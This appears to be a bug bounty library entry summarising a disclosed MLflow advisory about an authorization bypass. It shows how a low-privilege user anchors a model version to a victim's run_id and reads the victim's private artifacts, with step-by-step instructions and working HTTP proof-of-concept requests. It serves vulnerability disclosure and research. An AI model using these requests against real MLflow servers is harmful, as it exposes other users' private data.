# MLflow: CreateModelVersion source validation does not check READ permission on referenced run_id

MLflow's CreateModelVersion validated source path containment against a run_id but never checked READ permission on that run, letting any model creator read another user's artifacts.

- Payout: Research
- Severity: high
- Program: MLflow
- Found by: geo-chen
- Disclosed: 2026-08-17
- CVE: CVE-2026-69148
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gqch-g4w5-7qcw
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gqch-g4w5-7qcw
- Tags: area:ai domain:ai domain:api impact:data-leak kind:research platform:ghsa sev:high tech:rest technique:source-review vuln:access-control vuln:auth-bypass vuln:idor

**Target:** MLflow tracking server REST API (model-versions handlers, basic-auth app)
**Root cause:** _validate_source_run/_validate_source_model only verify the source path lies inside the referenced run's artifact directory; they call store.get_run(run_id) without any permission check on that run_id, so an attacker can anchor a model version to a victim's run.
**Steps:**
1. Alice stores `secret_weights.txt` under `/mlruns/2/ALICE_RUN_ID/artifacts/`; her experiment is private to Bob.
2. Bob confirms the gate: `GET /get-artifact?run_id=ALICE_RUN_ID&path=secret_weights.txt` returns 403.
3. Bob creates a model version anchored to the victim run: `POST /api/2.0/mlflow/model-versions/create` with `{"name":"bob-model","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}` -> 200.
4. Bob reads the file through the model-version handler: `GET /model-versions/get-artifact?name=bob-model&version=1&path=secret_weights.txt` -> 200 with the secret contents.
**How found:** Code review of the source-validation helpers in handlers.py: noticed _validate_source_run fetches the run purely for path containment and never consults the auth store, then traced where the stored source is consumed (model-version artifact handler) to find a second read path that skips the experiment READ gate.
**Exploitation:** Authenticated low-priv user creates their own registered model (gaining MANAGE/UPDATE on it), then submits CreateModelVersion with the victim's run_id and artifact path as source. The stored source is later used by the model-version artifact handler to resolve file paths, so subsequent get-artifact calls read files from the victim's artifact directory without ever passing the experiment-level READ check that guards /get-artifact.
**Escalation:** Bypass becomes a true authorization break when default_permission=NO_PERMISSIONS or the victim experiment has no grant for the attacker; otherwise it still leaks files under default_permission=READ.
**Insight:** When a create/update endpoint validates a user-supplied foreign identifier (run_id, model_id) only for structural correctness, check whether that identifier is later dereferenced by a different read endpoint that trusts the stored value — the write-side check is the only place the missing authz can be caught.

## Proof of concept (copied exactly from the original report)

**CreateModelVersion request referencing victim run_id**

```
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Authorization: Basic <bob credentials>
Content-Type: application/json

{"name":"bob-model","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}

Response: HTTP 200
{"model_version":{"name":"bob-model","version":"1","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}}
```

**Read victim file via model-version artifact handler**

```
GET /model-versions/get-artifact?name=bob-model&version=1&path=secret_weights.txt HTTP/1.1
Authorization: Basic <bob credentials>

Response: HTTP 200 -- body contains `ALICE_SECRET_MODEL_WEIGHTS=0.42`
```

**Direct get-artifact blocked with 403**

```
GET /get-artifact?run_id=ALICE_RUN_ID&path=secret_weights.txt HTTP/1.1
Authorization: Basic <bob credentials>

Response: HTTP 403 (when alice's experiment is private)
```

